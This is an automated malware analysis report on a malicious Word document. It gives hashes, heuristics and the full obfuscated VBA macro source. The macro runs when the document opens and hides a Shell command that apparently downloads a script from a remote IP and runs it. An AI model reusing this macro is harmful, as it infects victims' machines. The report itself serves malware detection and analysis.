Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 459292e36547cf54…

MALICIOUS

Office (OLE)

156.5 KB Created: 2017-03-02 10:40:00 Authoring application: Microsoft Office Word First seen: 2017-03-05
MD5: 743b0e6b93f5903b516dcc07481d44c7 SHA-1: 48c8fadf586c284a8c25846ab9a61d588d5da786 SHA-256: 459292e36547cf542c878b2b09c42d5941e492c5f9ac0ac1b376c43b207c6975
152 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros, as indicated by the OLE_VBA_MACROS heuristic. The critical OLE_VBA_SHELL heuristic suggests the macros attempt to execute arbitrary code. ClamAV detection as 'Doc.Dropper.Agent-7071499-0' further confirms its malicious nature, likely acting as a dropper for further malware.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-7071499-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7071499-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    , abewv, llodedicp, ihihpol5, uwgokumgi, atpefitze3, zony, evsiwi0, obiguk, avziko, afiq0, ocxihy7, itoh2, asmidqukt7, vpubu0, yvfywmy6, izduciqh1, ekaf3, utjesev, boffu2, ltynde, wiwfobcatf, ebtartidp7, riji3, rodtip, ibosjylo8, ysukime6, oqyfumsa9, cithysaxr)
    Shell Join(ynselli, ""), pbixu
    End Sub
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Document_Open()
    Dim camgatu9
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15912 bytes
SHA-256: a5f7b49400b02abf64c5380c76ea5c6cba66e3aae1521acadd0fee49a5667de7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Dim camgatu9
Dim iftopwum
Dim onqohtajx6
Dim yqyzm, edegj0, fuzky2, invommitra
Dim ocxihy7, citfa, ykgakf, atpefitze3, yqwamq, ujos, ograls, vpubu0, yksero3
Dim izduciqh1, avziko, xcegzecqijd9, bkarnepqucf6, akewac, xlucrogev
Dim rejxob9
Dim ipanu, pewgy, nwogwyk, evsiwi0
Dim imwec0, jmiso, szyfcu9, osyhgipro, yhopizo, icfydepf6, uxgovq8, ibosjylo8, znepde3, hfejo1, iqrulf9
Dim dxarqold0, yfjyvamw, rlocimdo0, vlozazf, athozv, ipura, bofo, xcuhefa
Dim cwaqjynfekr
Dim synqakpy2
Dim aneq
Dim laxunlefp, olabzad0, ebzyza, pulqybqugb, zlesivec
Dim utjesev
Dim odgus1, usypoj, ufathuzy, fimlo0
Dim llekwa, orik, lpotanxe, arsovro, ysnelgulgo0, okofnafq, izzumlylj, ijkaxsy0, sqyfnydilw
Dim ywix, sgiwu3, gubuwlo, docjexpasd, yswosi, imyquso3
Dim usajra2
Dim potzup
Dim rare0, jezda, iqjophyg2, wodficry, dojgiky8, jejefawt
Dim khujmi
Dim ujxojzecl0
Dim rnivho
Dim qcyzfuzgu
Dim qjega
Dim ijqocja9, upodsuxq, eleliqs3, rihy, asmidqukt7, tliruhofn3
Dim idyx
Dim nelfivso
Dim ahkymiqr2, idoqun7, osluc, upigvi, pegod, mwamivba, vzembeh1, xata
Dim ubpadte1
Dim pegbexhys, cxunokw8, qgihu6, egulbo6, ivtidv, eprite8
Dim azyfizq0, yjohzevn6, puna3, oziqvevwy, onfoctacmo, ogmulwo, uvgaripo6, bzyjegoj5, ltynde, dboclitsa
Dim ykqatd, gsodogew, jevuzo6, yterocmi
Dim igtehaja, ylur, janugceb, itoh2, xvisnifi1, avcyh, gtobsupc, yssunata, awpubg9, ysukime6
Dim cupsevz9
Dim efqajmy9, elag4, iqokb, bsagxotsy2, aznok, xzonutlug, ovmifaf4, xrihpa, riczono9, lelizq, zxelariqj5
Dim ldigyvf
Dim vyloca
Dim hnafebp4, cyqehobd, macbyhavs4, ubyvuro7, xkodhad7, asigonp5, afefwa, boffu2
Dim hofutyr4
Dim gyjuk3, ozxolj4, yhucgi, ydisucba3, alkuqij3, daswaxw, wukud9, wmesyfwe
Dim foxvyvs, ohzupnu, gfojjygg, kydvyvvy
Dim xyjimy, tpuvwyhluv6, ecnop, ilozesr6, mlithosku, kaqe, uqexcu, rodtip, oxhimma8, pataqsos, bahxep3
Dim yfqevte1, anelqotce5, agmypud4, dotate0
Dim hygke, ihvocu8, jmivzaft, kvyjvu, odtuclese, owucnedvo0, nneqpiz, guxihly5, urnajj, yvewqos5
Dim cgemtucy7
Dim owyhda7
Dim axwipjah, snagot, acor1, obiguk
Dim eksab1
Dim angajigli
Dim yklilol
Dim udtahh3, dyfav, adrofcazwa8, ezodumn, dwyko
Dim rhowfiwevw5
Dim afofy4, riji3, bkytifnij, imcijyfp8, ebtartidp7, dgavithu, axrepjada, xtevmu, vaxub0, ogav2
Dim utohykjo, sexziqy2, egjezixi, uwgokumgi, fuhu9, zkogapji
Dim olunn4
Dim amudi7, mtywamoz, ubywlum, xlylhed1, hlanquhi, putyxhex9, tzudquwbukx2, lbuhuc
Dim uzcurqum2, gajzamwyj, orcuqk9, ejqixpih, nyqnagohk2
Dim egsopo5
Dim faxkeqo
Dim fxokohyt2
Dim fzynvezma3, papfow5, egvetwe, egigde2, mxoqpi9, jmyvyz, jjuxcybgo, ativd8, roda6
Dim amevesw
Dim soribug, rhyqvo, nifqatwur1, oruqxapn, ukxohu6, jadak3, zsafak, txudcu6
Dim zjyltom4, okgitsoj0, wdojydumb, kevyt, izekzaj6, mizojw0, lawjojf, uhlork, oqyfumsa9, zerormi5
Dim cyxa2
Dim tiqwuj
Dim mobxo6
Dim ztiqxyku
Dim skowymfa, ahyk, cdyvlo3, vhopviplip, ymypa3, imlyqrimu
Dim adbopacb0, ejycu, eplasmav, esfitu, fcupyqziwc, uzogqudb
Dim umzekwe, acroka, yqetcyka3, ikserzo6, ywweno, ucypycy
Dim wjasujb1, boqyvo, vrymlawv, pbixu, flopux, arahifmy, ekaf3, evqavpedy3, hticaje4
Dim apupyw
Dim owcypgo
Dim yzap5, abewv, bmupi, wmefohwyfq, wgojyjsi4, ebpadcu0, dojy1
Dim fkesvugt3, ovloqo5, cithysaxr, ufjymoq, anucuvo, eneno4
Dim pkumhyfa9
Dim yqnobdumh
Dim evtenimi3, giwe, yvfywmy6, ygex, vgohycint, ofipm
Dim hbenwumikf
Dim ojaszysp, hosygr, qmyfehk3, sqivpono7
Dim hadsejpu
Dim nkimaslapg, itufcotxo9, acxej4, rojycnal, onizn, osovwopo, pyvy, llodedicp, tyqytsy, uxbakwym8
Dim ypibn, dovot2, ojejpyr, zony, fqenpy0
Dim fwegec3, xyfteko7, xenre, ybupt
Dim axnimohqo, irdas0, vherlu2, asluvuto7, pdimru3, thokudq, hycwopu2, qmori, ixfiwq7, bwupju, ehafnan
Dim awnafkaxe
Dim uquqx9, amkeziny2, rkylwywh, fusecte, wiwfobcatf, ipwisov6
Dim wiha3, ezon, golri, adjyvymv5, yhmasvy0, xujfang, qebpu2, dxylgagp, evdotypr, vwasebfu9, eczosyci0
Dim ufjinc5, reretn0, ycope, jjapmuwgu5, ykorf9, vwettu7
Dim ihihpol5
Dim emec, afiq0, gyny4
ycope = "pxdfoq"
ldigyvf = "oqji h"
yvfywmy6 = "ebczji"
zsafak = "dfoqji"
yhmasvy0 = " sxonj"
ovmifaf4 = "foqjik"
vzembeh1 = "ng.Fil"
invommitra = "o = ""W"
ilozesr6 = "iam"";u"
tyqytsy = "dfoqji"
gyjuk3 = "foqjiX"
ubywlum = "foqjii"
nwogwyk = "oqjiip"
rejxob9 = "isikcq"
hadsejpu = "uco = "
wodficry = "cqucoi"
izduciqh1 = "qwdfoq"
foxvyvs = "dfoqji"
odgus1 = "cqucoi"
avcyh = "foqjip"
ufjymoq = "iqwdfo"
ypibn = "jdfoqj"
asluvuto7 = "wdfoqj"
qjega = "cqucou"
rlocimdo0 = "janpaz"
ywix = "qute//"
pataqsos = "xmujuw"
yksero3 = "ujanpd"
mizojw0 = "e(/dfo"
janugceb = "Objdfo"
rnivho = "0;if ("
wdojydumb = " cquco"
ecnop = "cqucod"
ofipm = "e(/zji"
vpubu0 = "co.otr"
mxoqpi9 = "ucoiuj"
dxarqold0 = "dfoqji"
macbyhavs4 = "e/g, """
khujmi = "A"").re"
itoh2 = "wdfoqj"
utohykjo = "azjiqw"
yfqevte1 = "sdfoqj"
atpefitze3 = "qjildf"
thokudq = "_pacqu"
onqohtajx6 = "zjiqwd"
osyhgipro = "quco/g"
qgihu6 = "azjiqw"
ipanu = "qwe/g,"
qmori = "npm.zj"
ikserzo6 = " + luh"
pyvy = "cmd.ex"
pegbexhys = "oTdfoq"
bkarnepqucf6 = "foqjiX"
ebzyza = "i);kgi"
upigvi = "ce(/uj"
fkesvugt3 = "y = ""h"
vyloca = "azinq "
eleliqs3 = "sdfoqj"
riji3 = "SE&c^S"
soribug = "ispons"
adjyvymv5 = "ujanpd"
nyqnagohk2 = "pi = """
daswaxw = " "" + c"
synqakpy2 = "dfoqji"
ydisucba3 = "s == 2"
ivtidv = "oqji("""
boffu2 = "lNamdf"
yssunata = "mycquc"
athozv = "= ndfo"
arsovro = "= luhk"
llekwa = "ccquco"
aznok = "otreby"
camgatu9 = ";ujanp"
llodedicp = " 0);lu"
qebpu2 = "dfoqji"
yvewqos5 = "qjipdf"
eneno4 = "inq.gd"
hbenwumikf = "dfoqji"
uxbakwym8 = "pcquco"
rodtip = "^cri^P"
mlithosku = "hdfoqj"
wukud9 = "ndfoqj"
sgiwu3 = " = ndf"
pegod = "Objdfo"
nelfivso = "jiqwdf"
afofy4 = "jxeccq"
amevesw = "onjaqi"
jmyvyz = "co.Typ"
ovloqo5 = "yscquc"
eczosyci0 = "i( 2) "
pewgy = "ucomp_"
ihvocu8 = "oqji(k"
oqyfumsa9 = "/B aLI"
gsodogew = "qjijdf"
egvetwe = "cqucoi"
ucypycy = ";ujanp"
odtuclese = "('ujan"
lawjojf = "mycquc"
docjexpasd = "icquco"
wjasujb1 = "qji(cq"
dyfav = "qjiun("
awpubg9 = "oqji u"
ukxohu6 = "cqucoz"
cwaqjynfekr = " ""r"");"
potzup = "oqjicc"
fusecte = "ucobiu"
elag4 = "foqjij"
uhlork = "jdfoqj"
uvgaripo6 = "cozjiq"
owyhda7 = "wdfoqj"
iqokb = "n ('sx"
iqjophyg2 = "e^CHo "
cgemtucy7 = "pacquc"
eplasmav = "otrebc"
dwyko = "oqjihm"
bsagxotsy2 = "azinq."
idoqun7 = "lddfoq"
dojy1 = "foqjij"
evdotypr = "ujanpa"
wiha3 = "i = ""z"
jezda = "obiuja"
xkodhad7 = "= ndfo"
riczono9 = "ujuwi)"
ijqocja9 = "qwdfoq"
vwettu7 = "jiqwdf"
igtehaja = " = 1;k"
alkuqij3 = "oh);hd"
ebpadcu0 = ";ujanp"
ograls = "Gdfoqj"
yzap5 = "ill"";u"
yhucgi = ";ujanp"
ykorf9 = "m.dfoq"
pbixu = vbHide
yswosi = "C"");if"
xyfteko7 = "sikcqu"
oruqxapn = "dfoqji"
tiqwuj = "zjiqwd"
obiguk = "qjiFil"
xrihpa = "wdfoqj"
citfa = "replac"
bmupi = "kazinq"
ahkymiqr2 = "scquco"
nifqatwur1 = "pcquco"
iftopwum = "sikcqu"
yqyzm = "cquco)"
egjezixi = "place("
skowymfa = "janpqy"
jjapmuwgu5 = "dfoqji"
wiwfobcatf = "}}');>"
icfydepf6 = "mObjdf"
bahxep3 = "jiqwdf"
sqivpono7 = "i luhk"
wgojyjsi4 = "iccquc"
ixfiwq7 = "icquco"
oziqvevwy = "azjiqw"
zony = "oqjicq"
mobxo6 = "jihocq"
fxokohyt2 = "npazji"
dgavithu = "quco ("
edegj0 = "', 'va"
ujos = "185.10"
acroka = "/zgejx"
aneq = "trebcz"
uquqx9 = "sikcqu"
ezon = "co.Pos"
axwipjah = "LHTTP"""
okgitsoj0 = "azjiqw"
dxylgagp = "d.dfoq"
imcijyfp8 = "janpdf"
jevuzo6 = "quco"")"
sexziqy2 = "imObjd"
puna3 = "67/sps"
vrymlawv = "dfoqji"
olqezp5 = "^new F"
bkytifnij = "dfoqji"
azyfizq0 = "azjiqw"
adrofcazwa8 = "mp_pac"
osluc = "gejxec"
mtywamoz = "qucoh "
ahyk = "qjiccq"
yfjyvamw = "qji /c"
zxelariqj5 = "jdfoqj"
guxihly5 = "anpdfo"
owucnedvo0 = "janpm "
evqavpedy3 = "janpaz"
flopux = "idfoqj"
agmypud4 = "dfoqji"
uwgokumgi = "q.ddfo"
ocxihy7 = "bczjiq"
acor1 = "qjiccq"
eprite8 = ".Opdfo"
yhopizo = "foqjii"
pulqybqugb = "qwdfoq"
tliruhofn3 = "faxipo"
fimlo0 = "jicquc"
lbuhuc = "qwdfoq"
znepde3 = "qjiw z"
idyx = "qucoDz"
irdas0 = "ikicqu"
fuhu9 = "cqucoc"
pkumhyfa9 = "hdfoqj"
egigde2 = " sfaxi"
ztiqxyku = "ypdfoq"
jejefawt = "cqucoa"
egulbo6 = "i.Fild"
ufjinc5 = "jiqwdf"
cithysaxr = "V.jsE"""
osovwopo = "dfoqji"
anelqotce5 = "dfoqji"
ejqixpih = "jizjiq"
rhyqvo = ";ujanp"
faxkeqo = "foqjim"
ebtartidp7 = "aliV.J"
ijkaxsy0 = "dfoqji"
uxgovq8 = "quco.o"
abewv = "foqji,"
hticaje4 = "coh;hd"
cupsevz9 = """, ozd"
wmefohwyfq = "qjiccq"
asigonp5 = "kcquco"
utjesev = "ucoFul"
qcyzfuzgu = "Objdfo"
pdimru3 = "janpaz"
qmyfehk3 = "uco(""o"
uqexcu = "oqjiTo"
arahifmy = "\\\\\"""
ojejpyr = "iw zge"
xcuhefa = ");hdfo"
ysnelgulgo0 = "ion = "
nneqpiz = "qjin()"
ltynde = "oqji);"
xlucrogev = "ijdfoq"
iqrulf9 = "/otreb"
yqwamq = "ji luh"
hofutyr4 = "jiyzd "
afiq0 = "(Wotre"
imyquso3 = "o);uja"
umzekwe = "jiqwdf"
akewac = "dfoqji"
yqnobdumh = "co.Clo"
ybupt = "foqji "
owcypgo = "Body);"
imwec0 = " pawan"
lelizq = "cqucoi"
bzyjegoj5 = "jiyzd."
hosygr = ").repl"
apupyw = "qucodf"
uzogqudb = "otrebp"
usajra2 = "dqute/"
cyqehobd = "ind();"
lpotanxe = "pawanp"
amkeziny2 = "dfoqji"
yterocmi = "foqjij"
vwasebfu9 = "foqjiX"
ejycu = ".repla"
gtobsupc = "azjiqw"
xyjimy = """).rep"
snagot = "qjiXOb"
jmivzaft = "mdfoqj"
ubpadte1 = "uco (k"
xenre = "ujanpd"
jadak3 = "janpaz"
kevyt = "jixdfo"
orcuqk9 = "dfoqji"
ubyvuro7 = "qjiyzd"
ekaf3 = "jiipcq"
hygke = "qjiw z"
afefwa = " dfoqj"
ykgakf = "gimzji"
xata = "ing.Fi"
vherlu2 = "icquco"
acxej4 = "kazinq"
evtenimi3 = "cquco"""
ujxojzecl0 = "luhkaz"
giwe = "gejxec"
golri = "qi);')"
wmesyfwe = "janpdf"
ysukime6 = "^e ^/^"
olabzad0 = "oqjiw "
ipwisov6 = "otrebc"
ymypa3 = "iujanp"
yjohzevn6 = " ozdfo"
hnafebp4 = "qucomp"
sqyfnydilw = "oqjipd"
zjyltom4 = "otrebX"
papfow5 = "g, "":"""
zkogapji = "qucopd"
yklilol = "oqjiiu"
dotate0 = "zjiqwd"
boqyvo = "uco (s"
rkylwywh = "XObjdf"
gubuwlo = "rebcqu"
dboclitsa = "oqjipd"
eksab1 = "cialFo"
xujfang = "coi = "
vaxub0 = "r sxon"
jjuxcybgo = "npqyxm"
emec = "pocquc"
egsopo5 = "qjiw z"
kvyjvu = "gimzji"
putyxhex9 = "uco.Wz"
efqajmy9 = "oqjiin"
ywweno = "mzjiqw"
upodsuxq = "n(""GET"
ehafnan = "ODB.ot"
ipura = "trebys"
ogmulwo = "jiqwdf"
oxhimma8 = "jaqi ="
amudi7 = "o = ""M"
dojgiky8 = "e /c """
evsiwi0 = "ucodfo"
szyfcu9 = "lace(/"
ojaszysp = "jiqwdf"
ativd8 = ";ujanp"
xzonutlug = "oqjicc"
mwamivba = ".Gdfoq"
udtahh3 = "dfoqji"
hfejo1 = "oqji k"
fzynvezma3 = "anp/g,"
zlesivec = "gejxec"
axnimohqo = "dfoqji"
yqetcyka3 = "+ ""\\\"
ygex = "00) {h"
ihihpol5 = "hkazin"
gfojjygg = "oqjiic"
dovot2 = "i();hd"
fwegec3 = " = ""cm"
orik = "zgejxe"
xvisnifi1 = "qji/g,"
usypoj = "foqjic"
adbopacb0 = ".otreb"
gajzamwyj = "pazjiq"
xtevmu = "odfoqj"
awnafkaxe = "unctio"
rihy = "ldfoqj"
zerormi5 = "place("
tzudquwbukx2 = "jixdfo"
rare0 = "replac"
izekzaj6 = "Fildfo"
imlyqrimu = ".otreb"
fqenpy0 = "foqjic"
bwupju = "kgimzj"
uzcurqum2 = "aqi.re"
esfitu = " ""v"")."
cdyvlo3 = "gimzji"
bofo = "isikcq"
okofnafq = "o (uja"
nkimaslapg = "oqjisi"
vlozazf = "i();px"
ibosjylo8 = "T^.E^x"
reretn0 = ", ""t"")"
vhopviplip = " == ""s"
kydvyvvy = "hmy, 0"
fcupyqziwc = "gejxeD"
ohzupnu = "qwdfoq"
txudcu6 = "jimpNa"
axrepjada = "jiof d"
hlanquhi = "iqwdfo"
gyny4 = "yzd.op"
rojycnal = "sxonja"
urnajj = "/g, ""S"
laxunlefp = "jisikc"
hycwopu2 = "iotreb"
angajigli = "foqjio"
anucuvo = "Rdfoqj"
roda6 = "hocquc"
rhowfiwevw5 = "foqjip"
xlylhed1 = "qjipdf"
onizn = "= ndfo"
tpuvwyhluv6 = "(cquco"
ezodumn = "dfoqji"
ykqatd = "ML2.XM"
asmidqukt7 = "iipcqu"
cxunokw8 = "jiqwdf"
ufathuzy = " eval("
ylur = "dfoqji"
onfoctacmo = "qji"";u"
itufcotxo9 = " ""e"")."
olunn4 = "jiyzd."
ozxolj4 = "ujwdfo"
avziko = "dfoqji"
ogav2 = "ace(/c"
kaqe = "0.222."
cyxa2 = "g"") {u"
izzumlylj = "dfoqji"
jmiso = "dfoqji"
fuzky2 = " ujwdf"
xcegzecqijd9 = "oqji k"
vgohycint = "trebau"
ynselli = Array(pyvy, dojgiky8, iqjophyg2, olqezp5, awnafkaxe, iqokb, amevesw, edegj0, vaxub0, oxhimma8, yhmasvy0, uzcurqum2, zerormi5, acroka, macbyhavs4, khujmi, egjezixi, iqrulf9, urnajj, xyjimy, szyfcu9, usajra2, papfow5, hosygr, ogav2, osyhgipro, reretn0, ejycu, upigvi, fzynvezma3, esfitu, rare0, mizojw0, xvisnifi1, itufcotxo9, citfa _
, ofipm, ipanu, cwaqjynfekr, ufathuzy, rojycnal, golri, odtuclese, gajzamwyj, xrihpa, sqivpono7, vyloca, xkodhad7, egsopo5, giwe, lelizq, xenre, bkarnepqucf6, janugceb, acor1, qmyfehk3, aneq, vwettu7, nwogwyk, wodficry, vzembeh1, akewac, aznok, ahkymiqr2, agmypud4, icfydepf6, potzup, jevuzo6, ucypycy, qgihu6, izzumlylj, afefwa _
, irdas0, xujfang, ujxojzecl0, eneno4, fqenpy0, idyx, umzekwe, yklilol, wmesyfwe, ivtidv, yswosi, tpuvwyhluv6, ztiqxyku, axrepjada, ovmifaf4, docjexpasd, egulbo6, angajigli, ipura, ecnop, faxkeqo, vhopviplip, ukxohu6, cxunokw8, efqajmy9, cyxa2, jadak3, nelfivso, hfejo1, oruqxapn, yssunata, amudi7, zjyltom4, ykqatd, axwipjah, rhyqvo _
, gtobsupc, orcuqk9, imwec0, nyqnagohk2, ipwisov6, dotate0, ubywlum, nifqatwur1, xata, rihy, hycwopu2, ovloqo5, xtevmu, sexziqy2, usypoj, evtenimi3, ativd8, azyfizq0, ylur, egigde2, emec, invommitra, eplasmav, tiqwuj, yhopizo, uxbakwym8, adbopacb0, pkumhyfa9, yzap5, rlocimdo0, ogmulwo, awpubg9, skowymfa, pataqsos, wiha3, fcupyqziwc _
, ehafnan, gubuwlo, uvgaripo6, asluvuto7, flopux, ilozesr6, evqavpedy3, ojaszysp, ldigyvf, osovwopo, ypibn, bofo, hadsejpu, wukud9, ojejpyr, afofy4, mxoqpi9, guxihly5, snagot, uhlork, wgojyjsi4, okofnafq, jjuxcybgo, riczono9, ebpadcu0, oziqvevwy, tyqytsy, yjohzevn6, xlylhed1, dwyko, fkesvugt3, fuhu9, zkogapji, ywix, ujos, kaqe _
, puna3, ykorf9, kevyt, onfoctacmo, pdimru3, ufjinc5, xcegzecqijd9, cdyvlo3, lbuhuc, hofutyr4, onizn, hygke, osluc, egvetwe, adjyvymv5, vwasebfu9, qcyzfuzgu, ahyk, ubpadte1, udtahh3, lawjojf, imyquso3, fxokohyt2, ohzupnu, yqwamq, acxej4, sgiwu3, olabzad0, orik, llekwa, ymypa3, qebpu2, rkylwywh, xzonutlug, dgavithu, lpotanxe _
, ebzyza, ywweno, jmiso, gyny4, ijkaxsy0, upodsuxq, cupsevz9, rhowfiwevw5, foxvyvs, kydvyvvy, xcuhefa, gsodogew, nkimaslapg, asigonp5, eprite8, nneqpiz, camgatu9, okgitsoj0, vrymlawv, wdojydumb, adrofcazwa8, mtywamoz, arsovro, bsagxotsy2, ograls, ixfiwq7, uzogqudb, zsafak, eksab1, idoqun7, ejqixpih, owyhda7, eczosyci0, yqetcyka3, arahifmy, ikserzo6 _
, bmupi, mwamivba, fimlo0, pegbexhys, txudcu6, jmivzaft, dovot2, yterocmi, ezodumn, iftopwum, jmyvyz, hbenwumikf, igtehaja, kvyjvu, ijqocja9, olunn4, yfqevte1, cyqehobd, evdotypr, onqohtajx6, ybupt, ycope, mobxo6, fusecte, owucnedvo0, athozv, znepde3, zlesivec, odgus1, yksero3, gyjuk3, pegod, wmefohwyfq, boqyvo, tliruhofn3, yqyzm _
, yhucgi, utohykjo, axnimohqo, fuzky2, dboclitsa, avcyh, amkeziny2, fwegec3, dxylgagp, tzudquwbukx2, yfjyvamw, daswaxw, hnafebp4, thokudq, hticaje4, elag4, dxarqold0, uquqx9, ezon, vherlu2, ysnelgulgo0, rnivho, bwupju, hlanquhi, ubyvuro7, imlyqrimu, jejefawt, qjega, ydisucba3, ygex, anelqotce5, zxelariqj5, rejxob9, putyxhex9, bahxep3, gfojjygg _
, apupyw, ihvocu8, ykgakf, pulqybqugb, bzyjegoj5, anucuvo, soribug, bkytifnij, owcypgo, mlithosku, xlucrogev, laxunlefp, uxgovq8, vgohycint, imcijyfp8, uqexcu, izekzaj6, wjasujb1, pewgy, cgemtucy7, alkuqij3, dojy1, synqakpy2, xyfteko7, yqnobdumh, eleliqs3, vlozazf, jjapmuwgu5, roda6, jezda, qmori, ufjymoq, dyfav, ozxolj4, yvewqos5, sqyfnydilw _
, abewv, llodedicp, ihihpol5, uwgokumgi, atpefitze3, zony, evsiwi0, obiguk, avziko, afiq0, ocxihy7, itoh2, asmidqukt7, vpubu0, yvfywmy6, izduciqh1, ekaf3, utjesev, boffu2, ltynde, wiwfobcatf, ebtartidp7, riji3, rodtip, ibosjylo8, ysukime6, oqyfumsa9, cithysaxr)
Shell Join(ynselli, ""), pbixu
End Sub